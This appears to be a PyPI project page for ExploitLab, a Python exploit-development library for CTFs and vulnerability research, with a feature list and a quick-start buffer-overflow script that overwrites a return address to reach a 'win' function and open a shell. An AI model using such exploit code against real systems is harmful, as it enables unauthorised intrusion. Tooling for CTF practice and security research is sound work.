Skip to main content

A modern, lightweight, and robust exploit development library.

Project description

ExploitLab 🧪

A modern, lightweight, and robust exploit development library designed for vulnerability research, CTFs, and exploit engineering.

Built for speed and simplicity, bypassing the bloated features of other libraries while keeping the core functionality you need to pop shells.

License: GPLv3 PyPI version

🚀 Features

  • Tubes (Process, Remote) — Seamless I/O communication with local binaries and remote network sockets. Includes non-blocking .interactive() shells.
  • ELF Analysis — Fast parsing of binary symbols, GOT/PLT addresses, and memory searching using pyelftools.
  • Assembly & Shellcoding — On-the-fly assembly compilation using keystone-engine and ready-to-use shellcode templates.
  • Memory Packing — Robust p32, p64, u32, u64 conversions.
  • Pattern Generation — De Bruijn cyclic pattern generators (cyclic, cyclic_find) to instantly find buffer overflow offsets.
  • Context Management — Global architecture (amd64, i386) and colored logging configuration.

📦 Installation

pip install exploitlab

🛠️ Quick Start

Here is a quick example of how to use ExploitLab to solve a classic buffer overflow challenge:

from exploitlab import *

# 1. Set global context (Auto-adjusted if ELF is loaded)
context.arch = 'amd64'

# 2. Analyze the binary
e = ELF('./target_binary')
log.info(f"Target 'win' function is at: {hex(e.symbols['win'])}")

# 3. Start the process (or use Remote('10.10.10.10', 1337))
p = Process('./target_binary')

# 4. Craft the payload
offset = 40
payload = b"A" * offset
payload += p64(e.symbols['win'])  # Convert address to bytes

# 5. Exploit!
p.recvuntil(b"Enter payload: ")
p.sendline(payload)

# 6. Enjoy your shell
p.interactive()

📚 Official Documentation

Looking for the complete API reference, exception handling, and detailed examples? We’ve got you covered.

The complete and official ExploitLab Documentation is available as a comprehensive PDF file.

ExploitLab Documentation (PDF)

Happy Hacking! 🧪

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

exploitlab-0.2.1.tar.gz (39.5 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

exploitlab-0.2.1-py3-none-any.whl (34.2 kB view details)

Uploaded Python 3

File details

Details for the file exploitlab-0.2.1.tar.gz.

File metadata

  • Download URL: exploitlab-0.2.1.tar.gz
  • Upload date:
  • Size: 39.5 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.13.13

File hashes

Hashes for exploitlab-0.2.1.tar.gz
Algorithm Hash digest
SHA256 e5812dfeb82ff6b183a1ddbfe8d2d7817c11ada539b354d532578ffacc750aa8
MD5 f03e7d029330ef95d9ae54264bee02ef
BLAKE2b-256 e3315c3f4a8e62acc26b0ea944e4e5bc2cd8a080be79a337996cf0f26fd0a7c2

See more details on using hashes here.

File details

Details for the file exploitlab-0.2.1-py3-none-any.whl.

File metadata

  • Download URL: exploitlab-0.2.1-py3-none-any.whl
  • Upload date:
  • Size: 34.2 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.13.13

File hashes

Hashes for exploitlab-0.2.1-py3-none-any.whl
Algorithm Hash digest
SHA256 91904dde91c9fe2f045eac126ab9e79fedb126778aa16c9777244d79b67f03f5
MD5 38dd3cdca68169b175d07b6b8bd71f8a
BLAKE2b-256 e966fe4c3468583e309775c895c17eae0abb28962b784ac0a72563bbfadd599b

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page